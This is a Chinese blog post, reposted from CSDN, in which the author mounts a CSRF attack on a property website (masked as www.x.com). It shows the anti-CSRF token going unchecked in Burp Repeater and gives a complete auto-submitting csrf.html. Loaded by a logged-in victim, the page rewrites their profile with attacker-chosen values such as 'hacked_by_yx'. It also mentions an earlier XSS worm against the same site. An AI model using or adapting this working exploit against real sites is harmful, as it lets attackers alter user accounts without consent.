小言_互联网的博客

对上一篇提到房产网站实施CSRF攻击篡改用户资料

510人阅读  评论(0)

上一篇提到了对网站www.x.com(代指目标网站), 针对存储型xss编写蠕虫, 这一篇继续这对这个网站实施csrf

我们看用户登陆后的后台, 有一个表单功能是修改个人信息如下图,可以修改电话,qq,姓名等

提交这个表单, 在chrome控制台抓取到的http请求参数如下

分析这个请求可以发现 _08_hash 这个参数可能是2次验证用来防御csrf或者其他的作用, 是动态生成的隐藏字段

剩余几个参数都是你在表单里填写的资料

我们需要确认_08_hash这个参数对请求的影响 下面使用burp的 repeater功能重放请求测试这个参数的影响

配置好burp后 提交表单, burp记录的本次post请求 右键这条请求记录选择 send to Repeater, 在Repeater菜单中查看

这里我已经将 _08_hash参数修改为了32个0 点Send按钮重放请求
得到响应如下

可以看到响应中的 [会员修改完成] 这几个字, 回到网站后台刷新, 可以发现确实资料已经修改了, 说明_08_hash这个参数没有卵用

下面构造实施csrf攻击的页面 csrf.html 代码如下

<html>
<head></head>
<body>
<script>

/*
    创建一个隐藏的表单 提交post请求 用来实现跨域post请求
    也可以指定为get请求无法获取返回结果
    创建一个iframe, 表单target指向iframe提交表单不会导致外部页面刷新

    @param(url): 请求的url
    @param(params): 请求参数
    @param(method): 请求方式 get、post 默认post
    @return: 无

    示例:
    postForm("http://192.168.0.115:88/csrf/", {b: 'b', a: 'a'});
 */
    function postForm (url, params, method) {
        var div = document.createElement('div'),
            form = document.createElement('form'),
            name = (new Date()).getTime() + 'x_',
            e = null;

        div.style.display = 'none';
        div.innerHTML = '<iframe name="' + name + '"></iframe>';
        form.method = method || 'post';
        form.action = url;
        form.target= name;

        for (var i in params) {
            e = document.createElement('input');
            e.type = 'text';
            e.name = i;
            e.value = params[i];
            form.appendChild(e);
        }

        div.appendChild(form);
        document.body.appendChild(div);
        form.submit();
    }


    // 这里直接调用我写的一个函数 通过构造表单跨域提交post请求
    postForm('http://www.x.com/adminm.php?action=memberinfo&mid=11538', {
        '_08_hash': '00000000000000000000000000000000', // 32个0即可 参数没卵用
        'fmdata[email]': '3089328436@qq.com',
        'fmdata[image]': '',
        'fmdata[xingming]': 'hacked_by _yx',   // 我们在csrf中修改这个字段 后面验证是否修改了
        'fmdata[szqy]': '225',
        'fmdata[lxdh]': '13886219888',
        'fmdata[qq]': '888',
        'bsubmit': '%25CC%25E1%25BD%25BB' // 这里是 "提交" 的gbk编码 网页是gbk编码 必须带这个参数 否则请求失败
    });
    
</script>
</body></html>

将页面上传至自己的服务器后 直接用浏览器打开链接访问 http://www.my.com/csrf.html
访问后在浏览器查看请求过程如下

这就是我们上面构造表单发出的请求
看看响应如何

修改成功! 在去后台刷新下看

成功修改了姓名字段为 hacked_by_yx

我们仅仅通过构造一个页面诱使已登陆这个网站的用户打开我们的链接就完成了对用户资料篡改的操作

核心原理还是web架构的安全缺陷, 在一个页面向另一个网站发起跨域请求时浏览器会携带目标域的cookie,这是关键

下面打个广告

博主暂时待业,看得上hr可以联系我,强调一下博主是初中毕业介意学历的勿扰


转载:https://blog.csdn.net/weixin_43777446/article/details/101828500
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场